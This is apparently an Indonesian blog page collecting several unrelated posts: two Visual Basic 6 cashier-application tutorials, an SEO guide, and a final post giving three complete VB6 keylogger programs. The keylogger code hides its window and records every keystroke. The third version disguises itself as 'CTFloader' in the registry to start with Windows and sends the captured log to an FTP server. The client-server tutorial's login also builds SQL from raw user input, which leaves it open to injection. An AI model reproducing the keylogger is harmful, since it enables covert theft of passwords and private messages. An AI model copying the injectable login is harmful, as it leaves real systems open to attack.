0 Cara membuat Aplikasi kasir / Penjualan Dengan Visual Basic 6.0

Assalammu'alaikum....
Apakabar Gan.....????
Pada postingan kali ini saya ingin berbagi tentang cara membuat sendiri program kasir dengan menggunakan Visual Basic-6.
Di bawah ini adalah aplikasi kasir sederhana sebuah rumah makan :
Step-1
Buatlah desainnya seperti gambar di bawah ini :

Step-2

Kita atur propertiesnya sebagai berikut :

1	Name : label tanggal	Caption : -
2	Name : label jam	Caption : -
3	Name : text Id Menu	Text : -
4	Name : text Menu	Text : -
5	Name : text satuan	Text : -
6	Name : text harga	Text : -
7	Name : text pesanan	Text : -
8	Name : text total	Text : -
9	Name : text dibayar	Text : -
10	Name : text kembalian	Text : -
11	Name : cmnd menu baru	Caption : menu baru
12	Name : cmnd tutup	Caption : tutup
13	Name : Timer1	Interval : 1

Step-3

ketik kode sesuai dengan fungsinya masing-masing.

Klik 2x pada cmnd menu baru, isi dengan (copy paste) kode berikut :

Private Sub Command1_Click()
Text1.Text = ""
Text2.Text = ""
Text3.Text = ""
Text4.Text = ""
Text5.Text = ""
Text6.Text = ""
Text7.Text = ""
Text8.Text = ""

Text1.SetFocus
End Sub


Klik 2x pada cmnd tutup, isi dengan (copas) kode berikut :
 
Private Sub Command2_Click()
End
End Sub


Klik 2x pada text1.text (text Id Menu) dan copas kode berikut :
 
Private Sub text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
If Text1.Text = 901 Then
Text2.Text = "Sate Kambing"
Text3.Text = "Porsi"
Text4.Text = 20000

ElseIf Text1.Text = 902 Then
Text2.Text = "Gulai Kambing"
Text3.Text = "Porsi"
Text4.Text = 15000

ElseIf Text1.Text = 903 Then
Text2.Text = "Soto Ayam Kampung"
Text3.Text = "Porsi"
Text4.Text = 22000

ElseIf Text1.Text = 904 Then
Text2.Text = "Soto Daging"
Text3.Text = "Porsi"
Text4.Text = 25000

Else
MsgBox ("Menu yang dipesan belum ada...!")
End If
Text5.SetFocus

End If
End Sub

Klik 2x pada text5.text (text pesanan) dan ketik kode di bawah ini :
 
Private Sub text5_Change()
Text6.Text = Val(Text4.Text) * Val(Text5.Text)
End Sub

Klik 2x pada text7.text (text dibayar) dan copas kode berikut :
 
Private Sub text7_Change()
Text8.Text = Val(Text7.Text) - Val(Text6.Text)
End Sub

Klik 2x pada Timer1, dan ketik (copas) kode di bawah ini :
 
Private Sub Timer1_Timer()
Label2.Caption = Format(Date, "dd mmmm yyyy")
Label4.Caption = Format(Time, "hh:mm:ss")
End Sub

Naah sekarang silahkan Running, maka hasilnya akan seperti di bawah ini :

Demikian yang bisa saya bagi, dan semoga bermanfaat ya gan.......

0 Cara Membuat Aplikasi Cilent Server Dengan Visual Basic 6.0

Pada tutorial ini anda akan belajar bagaimana membuat aplikasi client server menggunakan visual basic & MYSQL Untuk lebih memperjelas pemahaman anda akan digunakan studi kasus program KASIR. Dimana pada implemantasinya nanti, aplikasi yang dibuat akan terpisah dengan database. Database akan ditempatkan pada sebuah server dan aplikasi dapat ditempatkan pada beberapa komputer client. Untuk pengembangan / pembuatan aplikasinya sendiri dapat dilakukan di komputer lokal terlebih dahulu. Adapun yang anda perlukan pada tutorial ini, yaitu visual basic, MYSQL, dan Mysql Connector-ODBC. MYSQL dan MYSQL Connector ODBC dapat anda download di www.mysql.com. MYSQL Connector ODBC dibutuhkan agar dapat melakukan koneksi database MYSQL dari VB

Setelahnya semuanya terinstall mulailah membuat database MYSQL beserta tabel - tabelnya. Buatlah sebuah database dengan nama kasir, dan buat 5 tabel seperti di bawah:

Tabel user_login

Field	Tipe Data
user_login_id	varchar(50) *
user_name	varchar(100)
user_psw	varchar(20)

Tabel product

Field	Tipe Data
product_id	varchar(40) *
product_name	varchar(100)
price	double
stock	integer

Tabel transaksi

Fields	Tipe Data
no_transaksi	integer (auto increment) *
tgl_transaksi	datetime
total_barang	integer
total_harga	double
kasir	varchar(50)

Tabel detail_transaksi

Fields	Tipe Data
no_transaksi	integer
product_id	varchar(40)
jumlah	integer
harga_satuan	double

Tabel transaksi_temp

Fields	Tipe Data
no_transaksi	integer
product_id	varchar(40)
jumlah	integer
harga_satuan	double

* Primary Key

Tabel user_login digunakan untuk menyimpan data pengguna aplikasi, tabel product digunakan untuk menyimpan data product yang dijual. Tabel transaksi untuk menyimpan data transaksi dan tabel detail_transaksi untuk menyimpan detail dari transaksi yang dilakukan. Sedangkan tabel traksaksi_temp digunakan untuk mencatat secara sementara detail traksaksi yang dilakukan, setelah transaksi selesai dilakukan baru dipindahkan ke tabel transaksi.

Setelah database dan kasir selesai dibuat tambahkan data (insert data) pada tabel user dengan data berikut:

user_login_id	user_name	user_psw
admin	Administrator	admin

langkah selanjutnya adalah mempersiapkan koneksi ke database. Ikutilah langkah-langkah di bawah ini.

1. Buka control panel, double klik pada Administrative Tools, kemudian double klik pada Data Sources (ODBC). Dan akan muncul window kurang lebih seperti berikut:
2. Klik pada System DSN, dan klik tombol Add, dan akan muncul window seperti berikut:
3. Pilih MySQL ODBC 3.5.1 Driver, dan klik tombol Finish, dan akan tampil window berikut :
4. Kemudian isi form di atas dengan data seperti berikut:
5. Klik tombol Test, jika muncul kotak dialog yang menyatakan sukses, tekan OK dan tekan OK sekali lagi.

Setelah selesai sekarang anda telah siap untuk membuat Aplikasi KASIR..

Membuat Form Utama Administrator dan Form Login

Buka microsoft visual basic anda dan buat Standar EXE project. Setelah project dibuat akan langsung terbentuk sebuah form. Tambahkan label dan tombol serta atur propertiesnya seperti berikut 

Komponent	Properties
Form1	Name : main_form Caption : Administration
Label1	Caption : Welcome,
Label2	Name : label_user Caption : User
Command1	Name : btn_user Caption : User
Command2	Name : btn_product Caption : Product
Command3	Name : btn_trans Caption : Transaksi
Command4	Name : btn_report Caption : Report

Setelah diatur propertinya maka hasilnya adalah seperti berikut:

Admin Form

Kemudian Buat Form baru dengan cara, klik Menu Project, Add Form. Akan tampil window Add Form dan pilih Log In Dialog serta klik tombol open. Hasilnya seperti di bawah:

Form Login

Sekarang buka notepad dan ketik kode di bawah:

[Data]
DB=kasir
SERVER=localhost
Uid=root
Password=root

Kemudian simpan di direktori c:\windows dengan nama koneksi.ini, file koneksi.ini berfungsi untuk menyimpan data yang diperlukan untuk koneksi ke database. Pada bagian DB berisi nama database yang akan digunakan, SERVER berisi IP address Server tempat database disimpan (untuk sementara gunakan lokalhost). Uid berisi database user name dan Password adalah password database.

Sekarang Kembali ke Editor Visual Studio. Pilih Menu Project, Add Module untuk membuat module. Pada window Add Module klik Open. Download File berikut ini, kemudian copy dan paste isi file tersebut pada module yang sedang dibuat. Setelah selesai simpan module tersebut. Kemudian Klik menu Project, References dan akan muncul window project reference. Centang pada bagian Micosoft ActiveX Data Objects 2.0 Library dan tekan tombol OK.

Sekarang beralih ke form login, double click pada tombol OK, Hapus script yang telah ada dan ganti dengan script di bawah:

Private Sub cmdOK_Click()
Call Koneksi
Dim RS As ADODB.Recordset
Set RS = New ADODB.Recordset
Dim SQL As String
'query untuk login
SQL = "select * from user_login where user_login_id='" & txtUserName.Text & "'"
'membuka koneksi ke databse
RS.CursorLocation = adUseClient
RS.Open SQL, conn, adOpenDynamic, adLockOptimistic
'cek kebenaran user_login_id
If (RS.RecordCount > 0) Then
'cek kebenaran password
If (RS!user_psw = txtPassword.Text) Then
user_login_id = txtUserName.Text
user_name = RS!user_name
Load main_form
main_form.Show
Unload Me
Else
MsgBox "Maaf Password Salah"
End If
Else
MsgBox "Maaf User Name Salah"
End If
End Sub

Kemudian double click pada tombol Cancel, hapus script yang telah ada dan ganti dengan script berikut:

Private Sub cmdCancel_Click()
Dim pil As VbMsgBoxResult
pil = MsgBox("Anda Yakin untuk keluar?", vbQuestion + vbYesNo, "Exit")
If (pil = vbYes) Then Unload Me
End Sub

Setelah selesai pilih menu Project, properties. Pada window Project Properties di bagian Startup Object pilih frmLogin. Kemudian tekan tombol OK.

Sekarang beralih ke admin_form, double click pada form dan ketik script berikut :

Private Sub Form_Load()
label_user.Caption = user_name
End Sub

Setelah selesai simpan project anda dengan nama kasir dan coba untuk menjalankanya dengan menekan tombol F5 pada keybord.

0 SEO - Cara agar blog berada dihalaman terdepan search engine v5

Topik kali ini saya akan membahas mengenai Cara SEO Website, yang akan menjadikan situs anda ranking #1 atau minimal 10 besar di search engine Google.
SEO merupakan teknik mengoptimasi halaman situs, agar berada pada halaman/posisi satu Google seperti yang sudah saya jelaskan pada posting pengertian SEO, dan SEO juga merupakan teknik yang sangat bagus untuk mempromosikan produk anda di internet, atau hanya untuk sekedar ngeblog.
Saya sangat tidak pintar dalam basa – basi, untuk itu langsung saja akan saya bahas mengenai judul di atas..

Cara SEO Website Membuat Situs Ranking 1 Google

Perlu anda ketahui terdapat Dasar SEO (Search Engine Optimization) yang menjadikan situs atau halaman anda, di nilai lebih relevan sehingga hal tersebut dapat memberikan nilai + pada situs anda, dan mengakibatkan situs ranking tinggi di Google.
Hal tersebut juga yang akan saya bahas pada postingan kali ini, jika anda mengikuti panduan ini dengan baik dan benar, saya yakin situs anda dapat ranking minimal 10 besar, tetapi dengan syarat saya tidak memberikan garansi, jika situs yang anda optimasi tidak berhasil ranking.
Akan tetapi, ini adalah teknik SEO yang sering saya gunakan untuk membuat artikel atau postingan saya ranking tinggi di Google.
Lalu apa saja hal yang menjadikan situs atau halaman ranking tinggi di Google..

Keyword Research : Mencari keyword yang paling banyak diketikan orang di search engine, dan mentarget keyword tersebut untuk di optimasi agar dapat ranking tinggi. On Site SEO : Teknik mengoptimasi situs agar terlihat lebih relevan dari segi artikel maupun konten, dan untuk mempermudah Google menjadikan situs anda ranking dengan keyword yang anda target.
Off Site SEO : Teknik mengoptimasi situs dari luar menggunakan Backlink, hal ini dapat mendorong posisi situs anda di search engine.
Like Post Social Media : Banyak yang menyukai artikel anda di Social media seperti Facebook, Twitter dan Google+, dan hal tersebut juga berpengaruh pada situs atau halaman yang sedang anda optimasi.

Mari kita bahas satu persatu..

Keyword Research yang Baik dan Benar

Hal pertama dari cara SEO website adalah Keyword Reseach, Keyword Research atau riset keyword adalah kegiatan mencari keyword atau kata kunci yang banyak di cari orang di Google.
Hal ini menjadikan situs yang anda optimasi menjadi lebih berguna dan mau di lihat orang, karena keyword research itu seperti ini, Contoh : anda mempunyai situs mengenai “obat pengusir lalat” yang anda beri nama “oblat” kemudian, jangan anda target situs tersebut untuk ranking dengan kata kunci “oblat” tetapi target kata kunci “obat pengusir lalat” agar situs anda banyak di cari orang dan ranking dengan kata kunci tersebut.
Tentunya hal itu akan membuat situs mau di lihat orang bahkan membeli produk anda tersebut. Contoh lain seperti ini, saya TIDAK mentarget situs ini ranking dengan kata kunci “Rudi Nazar” karena domainnya seperti itu, tetapi yang saya target adalah kata kunci dari dari Title Tag yaitu “Belajar SEO” dan “Pakar SEO“.
Sehingga saya pribadi tidak begitu mementingkan nama domain, walaupun sebenarnya nama domain itu harus sesuai dengan keyword yang di target seperti yang saya jelaskan di Produk E-SEO Special Free Member.

Bagaimana Riset Keyword yang Baik dan Benar

Sebenarnya saya sudah menulis posting mengenai Riset Keyword silahkan anda baca disini “cara riset keyword” di artikel tersebut sudah saya jelaskan secara detail mengenai cara riset keyword menggunakan Google Planner.
Saya juga ingin menambahkan sedikit dari artikel tersebut, kalau sebenarnya ada tool tambahan untuk melakukan riset keyword yaitu menggunakan ubersuggest, tool ini dapat membantu menemukan keyword untuk di cari kembali di Google Planner.
Cara menggunakannya cukup mudah, anda hanya perlu memasukan keyword yang di target, kemudian pilih negara “indonesia”, dan jenis “web”. lalu masukan captcha dan pilih “suggest”.
Kemudian anda akan menemukan beragam keyword untuk di telusuri kembali di Google Planner.

Setelah melakukan riset keyword jangan lupa untuk mentarget 2 samapi 5 kata kunci yang menurut anda relevan dan mempunyai page views yang tinggi, untuk dioptimasi pada langkah selanjutnya.
Pastikan anda mengetahui bagaimana Cara Riset Keyword ini sehingga anda dapat mentarget kata kunci yang memang benar-benar akan membawa trafik yang banyak.

On Site SEO Ampuh Untuk Ranking Tinggi

On Site atau On Page SEO sama saja yang artinya mengoptimasi situs dari dalam, atau dari segi artikel, konten, dan lain – lain, seperti yang sudah saya sebutkan diatas.
Ada beberapa faktor On Site SEO yang perlu anda perhatikan selain yang pernah saya jelaskan di posting Dasar SEO, diantaranya adalah :

1# Kecepatan Situs
2# Relevansi
3# Situs yang Mudah di Crawl
4# OutBound dan InBound Link
5# Betahnya Pengunjung di Situs Anda

#1 Kecepatan Situs
Hal pertama yang menjadi faktor On Site SEO yang ampuh adalah Kecepatan situs, Situs yang cepat di load adalah situs yang bagus, dan akan dinilai baik oleh Google. Ada beberapa hal yang saya ketahui dan akan membuat situs di load lebih cepat…
Pertama adalah gunakan Themes yang ringan dan cepat di load, seperti situs saya menggunakan themes yang simple dan tentunya GRATIS! yaitu Iconic dari Themonic.
Selain itu banyak Themes WordPress gratisan yang dapat anda gunakan seperti Woothemes atau Themes dari Situs WordPress.org.
Jika anda menginginkan themes yang super power full, saya sarankan menggunakan Themes Thesis atau Genesis.
Tetapi menurut saya tidak masalah Themes apapun itu yang penting adalah themes tersebut membantu mempercepat loading situs.
Kedua Tempat hosting yang bagus dan cepat, ini merupakan hal yang sangat penting untuk On Site SEO, saya sarankan jangan pernah membeli hosting di sembarang tempat jika anda menginginkan rangking tinggi di Google, tetapi belilah hosting yang memiliki server cepat dan tidak pernah down.
Karena jika anda membeli hosting yang servernya sering down, maka jangan harapkan ranking yang bagus untuk situs anda.
Jujur, saya pribadi sangat tidak puas dengan penyedia hosting di indonesia, karena beberapa kali saya mencoba dan selalu menemukan server yang down, dan hal ini akhirnya yang membuat saya harus pindah hosting ke HostGator.
*saya juga sudah menulis cara membeli hosting di hostgator, anda bisa melihatnya disini.
Jadi Pastikan anda tidak mengalami hal yang sama dengan saya, dan pastikan juga penyedia hosting anda tidak pernah down.
Ketiga tidak terdapat iklan pada situs anda,
jujur saya sangat benci dengan situs yang mempunyai BANYAK iklan, karena situs tersebut akan sangat berat untuk di load.
jadi walaupun situs anda penayang iklan (PPC), pastikan situs tersebut mudah untuk di loading, karena Google pun tidak menyukai situs yang mempunyai banyak iklan.
2# Relevansi
Anda pasti mengetahui tugas mesin pencari, yaitu menemukan konten yang relevan dengan kata kunci yang di cari orang.
Contohnya seperti ini, anda mencari di Google dengan kata kunci “jual baju” maka pasti yang akan muncul pada posisi satu Google adalah situs yang berjualan baju, jika yang muncul adalah situs “jual ikan” tentu hal tersebut akan membuat Google, di tinggalkan banyak orang karena tidak menampilkan hasil pencarian yang relevan.
Oleh karena itu pastikan situs anda se-relevan mungkin dengan keyword yang anda target, dengan menyisipkan keyword tersebut pada, URL, Title Tag, Heading1, dan lain – lain.
Untuk Teknik On Page SEO akan saya bahas pada posting selanjutnya..
3# Mudah di Crawl
Situs yang mudah di Crawl oleh Google adalah situs yang baik, yang artinya adalah situs tersebut memberikan kemudahan untuk di Crawl oleh Google Spider.
Fungsi atau tugas dari Crawl sendiri yaitu Google Spider atau robotnya si Google akan mendatangi situs anda, dan akan mencek seluruh isi dari situs, nah.. dan jika situs anda ini menyulitkan si robot untuk mencrawl situs anda. hal ini juga akan menyulitkan situs anda untuk ranking tinggi di Google.
Jadi pastikan situs anda mudah di Crawl oleh Google, dengan cara tidak terdapat halaman yang eror, atau broken link, anda juga bisa menggunakan Google Webmaster Tools untuk menganalisis hal tersebut.
4# InBound dan OutBound link
Google menyukai situs yang melink ke situs atau halaman yang relevan dengan topiknya, karena hal tersebut akan memudahkan pengunjung untuk mencari info yang lebih banyak dan lengkap.
Oleh karena itu pastikan dalam suatu artikel atau halaman anda, terdapat link yang menuju situs yang relevan dan mempunyai PR tinggi, seperti WikiPedia, BBC.co.uk, dan lain-lain.
5# Betahnya Pengunjung di Situs Anda
Ini juga bisa di sebut dengan User experience, Mesin Pencari sangatlah pintar, mereka dapat mengetahui apakah pengunjung situs anda, hanya mampir selama 5 detik atau mampir dengan lama dan mengklik posting lainnya.
Maka pastikan situs anda dapat membuat pengunjung betah, dengan cara, situs anda mudah di load, memiliki penampilan yang bagus, tidak terdapat banyak iklan, dan lain-lain.
Jika kebanyakan pengunjung sudah betah di Blog anda, hal ini juga akan menaikan posisi situs anda di search engine.

Off Site SEO (Link Sakti Untuk Menaikan Ranking)

Off Site atau Off Page SEO (Backlink) merupakan hal yang umum dan sangat wajib diterapkan oleh praktisi SEO, karena dengan backlink situs anda dapat Ranking Tinggi di Google dengan kata kunci yang anda target.
Jika anda mempunyai banyak backlink, maka semakin besar kekuatan untuk ranking yang anda dapatkan tergantung dari jenis backlink yang anda dapatkan.
Ada beberapa hal yang perlu diperhatikan dalam membangun backllink, karena backlink dapat membuat situs ranking tinggi atau sebaliknya..

1# Link Dari Situs PR n/a yang Tidak Teroptimasi
2# Link Dari Situs yang Kena Penalty Google
3# Link Dari Situs yang Di Benci Goole

1# Link Dari Situs PR n/a yang Tidak Teroptimasi
PR n/a atau Page Rank Non Avilable adalah situs yang jarang sekali di update (situs sepi/mati) dan tidak memiliki PR, besar kemungkinan situs ini tidak akan membawa kekuatan link untuk situs anda. Jadi jangan sampai anda mendapatkan link, atau me-link ke situs tersebut, karena hanya akan menurunkan posisi anda di search engine.
INGAT : yang saya maksud disini adalah situs PR n/a yang TIDAK teroptimasi sama sekali, bukan situs PR n/a yang teroptimasi.
2# Link Dari Situs yang Kena Penalty Google
Situs yang terkena penalty Google pastinya situs yang melanggar peraturan Google, seperti over optimization, atau memiliki script yang berbahaya dan situs ini hanya mengantarkan virus.
Jadi Google memberikan penalty pada situs tersebut, agar tidak ada orang yang terkena dampaknya.
3# Link Dari Situs yang Di Benci Goole
Situs seperti apakah yang dibenci Google? yaitu situs porno, judi, dan sebagainya. Google sangat membenci situs seperti itu.
jadi pastikan anda tidak mendapatkan backlink dari, situs yang di benci Google, Situs yang terkena penalty, dan Situs PR n/a yang tidak teroptimasi/situs mati.

Like Post Social Media

Faktor Ranking dari Like Post Social Media mungkin baru anda temukan di situs ini, tetapi kenyataannya memang benar, like dari social media juga merupakan faktor yang membuat situs anda ranking tinggi di Google.
Semakin banyak orang di Social Media yang menyukai artikel anda, semakin besar kemungkinan artikel anda ranking di Google.
Yang menjadi pertanyaan adalah, bagaimana cara mendapatkan Like post dari social media?
saya pribadi biasanya melakukan hal tersebut, dengan menshare artikel di berbagai social media, seperti Facebook, Twitter, Google+, Linkedin dan masih banyak lagi.
Atau anda dapat menginstall Plugin Digg-Digg untuk situs WordPress anda, sehingga akan ada tombol Like pada samping kiri artikel, seperti di situs saya ini, hal tersebut bertujuan memudahkan pengunjung untuk me-like, atau mentwitt artikel kita.

0 Cara membuat KEYLOGGER dengan visualbasic 6.0

ni gan ane pnya 3 cara untuk membuat keylogger dengan visualbasic6 (VB6),

cara yang pertama :
pertama:pendekar:
- Buka VB & pilih standardEXE
- atur Form :
Visible : false
showintaskbar : false
- Buat 2 timer
- atur properti timer :
* timer1 interval = 1
* timer2 interval = 2
- lalu masukan kode :

Private Declare Function GetKeyPress Lib "user32" Alias "GetAsyncKeyState" (ByVal keyb As Long) As Integer
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Timer()
If GetKeyPress(vbKeyA) Then
Dim Savefile As Long
    Savefile = FreeFile
Open "D:\xtricx.txt" For Output As #Savefile
Print #Savefile, Text1.Text
Close #Savefile
End If
End Sub

Penjelasan :
kode :
Open "D:\xtricx.txt" For Output As #Savefil
berfungsi untuk menyimpan hasil (xtricx.txt) adalah nama filenya,Sedangkan Kode :
If GetKeyPress(vbKeyA) Then
berfungsi apabila user menekan tombol A maka hasil akan disimpan :sinis:

Cara ke dua
- Buat 1 timer dan 1 textbox
- ubah interval timer1 menjadi "1"
- lalu masukan kode berikut

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub

Cara 3
untuk cara yang satu ini kodenya panjang gan ,
1. jalankan VB dan pilih Standard EXE
2. buat 6 buah timer dan satu buah textbox[beri nama textbox dengan "mated" tanpa tanda petik
3. tekan CTRL + T untuk membuka Components window
4. centang opsi Microsoft Internet Transfer Control 6.0
5. tambahkan module ke program dengan klik menu Projects > Add Module dan ketik kode berikut:

Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Declare Function SystemParamsLong Lib “user32″ Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
Const SPI_GETKEYBOARDSPEED = 10

6. kode untuk:
timer1

‘ fungsi ini digunakan untuk mencatat aktifitas penekanan tombol keyboard
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
mated = mated + “a”
ElseIf GetAsyncKeyState(vbKeyB) Then
mated = mated + “b”
ElseIf GetAsyncKeyState(vbKeyC) Then
mated = mated + “c”
ElseIf GetAsyncKeyState(vbKeyD) Then
mated = mated + “d”
ElseIf GetAsyncKeyState(vbKeyE) Then
mated = mated + “e”
ElseIf GetAsyncKeyState(vbKeyF) Then
mated = mated + “f”
ElseIf GetAsyncKeyState(vbKeyG) Then
mated = mated + “g”
ElseIf GetAsyncKeyState(vbKeyH) Then
mated = mated + “h”
ElseIf GetAsyncKeyState(vbKeyI) Then
mated = mated + “i”
ElseIf GetAsyncKeyState(vbKeyJ) Then
mated = mated + “j”
ElseIf GetAsyncKeyState(vbKeyK) Then
mated = mated + “k”
ElseIf GetAsyncKeyState(vbKeyL) Then
mated = mated + “l”
ElseIf GetAsyncKeyState(vbKeyM) Then
mated = mated + “m”
ElseIf GetAsyncKeyState(vbKeyN) Then
mated = mated + “n”
ElseIf GetAsyncKeyState(vbKeyO) Then
mated = mated + “o”
ElseIf GetAsyncKeyState(vbKeyP) Then
mated = mated + “p”
ElseIf GetAsyncKeyState(vbKeyQ) Then
mated = mated + “q”
ElseIf GetAsyncKeyState(vbKeyR) Then
mated = mated + “r”
ElseIf GetAsyncKeyState(vbKeyS) Then
mated = mated + “s”
ElseIf GetAsyncKeyState(vbKeyT) Then
mated = mated + “t”
ElseIf GetAsyncKeyState(vbKeyU) Then
mated = mated + “u”
ElseIf GetAsyncKeyState(vbKeyV) Then
mated = mated + “v”
ElseIf GetAsyncKeyState(vbKeyW) Then
mated = mated + “w”
ElseIf GetAsyncKeyState(vbKeyX) Then
mated = mated + “x”
ElseIf GetAsyncKeyState(vbKeyY) Then
mated = mated + “y”
ElseIf GetAsyncKeyState(vbKeyZ) Then
mated = mated + “z”
ElseIf GetAsyncKeyState(vbKey0) Then
mated = mated + “0″
ElseIf GetAsyncKeyState(vbKey1) Then
mated = mated + “1″
ElseIf GetAsyncKeyState(vbKey2) Then
mated = mated + “2″
ElseIf GetAsyncKeyState(vbKey3) Then
mated = mated + “3″
ElseIf GetAsyncKeyState(vbKey4) Then
mated = mated + “4″
ElseIf GetAsyncKeyState(vbKey5) Then
mated = mated + “5″
ElseIf GetAsyncKeyState(vbKey6) Then
mated = mated + “6″
ElseIf GetAsyncKeyState(vbKey7) Then
mated = mated + “7″
ElseIf GetAsyncKeyState(vbKey8) Then
mated = mated + “8″
ElseIf GetAsyncKeyState(vbKey9) Then
mated = mated + “9″
ElseIf GetAsyncKeyState(vbKeyEscape) Then
mated = mated + “<Esc>”
ElseIf GetAsyncKeyState(vbKeySpace) Then
mated = mated + “<Space>”
ElseIf GetAsyncKeyState(vbKeyBack) Then
mated = mated + “<BackSpace>”
ElseIf GetAsyncKeyState(vbKeyDelete) Then
mated = mated + “<Canc>”
ElseIf GetAsyncKeyState(vbKeyDown) Then
mated = mated + “<Arrow down>”
ElseIf GetAsyncKeyState(vbKeyShift) Then
mated = mated + “<Shift>”
ElseIf GetAsyncKeyState(vbKeyTab) Then
mated = mated + “<Tab>”
ElseIf GetAsyncKeyState(vbKeyUp) Then
mated = mated + “<Arrow Up>”
ElseIf GetAsyncKeyState(vbKeyRight) Then
mated = mated + “<Right Arrow>”
ElseIf GetAsyncKeyState(vbKeyLeft) Then
mated = mated + “<Left Arrow>”
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
mated = mated + “<Page Up>”
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
mated = mated + “<Page Down>”
ElseIf GetAsyncKeyState(vbKeyF1) Then
mated = mated + “<F1>”
ElseIf GetAsyncKeyState(vbKeyF2) Then
mated = mated + “<F2>”
ElseIf GetAsyncKeyState(vbKeyF3) Then
mated = mated + “<F3>”
ElseIf GetAsyncKeyState(vbKeyF4) Then
mated = mated + “<F4>”
ElseIf GetAsyncKeyState(vbKeyF5) Then
mated = mated + “<F5>”
ElseIf GetAsyncKeyState(vbKeyF6) Then
mated = mated + “<F6>”
ElseIf GetAsyncKeyState(vbKeyF7) Then
mated = mated + “<F7>”
ElseIf GetAsyncKeyState(vbKeyF8) Then
mated = mated + “<F8>”
ElseIf GetAsyncKeyState(vbKeyF9) Then
mated = mated + “<F9>”
ElseIf GetAsyncKeyState(vbKeyF10) Then
mated = mated + “<F10>”
ElseIf GetAsyncKeyState(vbKeyF11) Then
mated = mated + “<F11>”
ElseIf GetAsyncKeyState(vbKeyF12) Then
mated = mated + “<F12>”
ElseIf GetAsyncKeyState(vbKeF13) Then
mated = mated + “<F13>”
ElseIf GetAsyncKeyState(vbKeyEnd) Then
mated = mated + “<FINISH>”
End If
End Sub

timer2

Private Sub Timer2_Timer()
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

timer3

Private Sub Timer3_Timer()
Timer4.Enabled = True
Timer3.Enabled = False
End Sub

timer4

Private Sub Timer4_Timer()
Timer5.Enabled = True
Timer4.Enabled = False
End Sub

timer5

Private Sub Timer5_Timer()
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

timer6

Private Sub Timer6_Timer()
Dim file As String
    Dim ftpwebsite As String
        account = “Akun_web_mu”
        pswd = “Pass_web_mu”
        ftpwebsite = “ftp://alamat_web_mu.com”
    Inet1.URL = ftpwebsite
    Inet1.UserName = account
    Inet1.Password = pswd
    file = “log.txt”
        Inet1.Execute Inet1.URL, “PUT C:\WINDOWS\system32\keylog.txt ” & file
    Do While Inet1.StillExecuting = True
          DoEvents
        Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
formPrivate Sub Form_Load()
‘ fungsi ini untuk membuat keylogg aktif saat windows dinyalakan
Set reg = CreateObject(“Wscript.shell”)
reg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CTFloader”, App.Path & “\nama_keylogger.exe”
Dim reani As Long
Dim mated As String
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, reani, 0
Timer1.Interval = reani + 150
End Sub
Private Sub mated_Change()
Open “C:\WINDOWS\system32\keylogger.txt” For Output As #1
Print #1, “Data KeyLogg – Reanimated Zone: ” & mated.Text & “, “
Close #1
End Sub

Sekian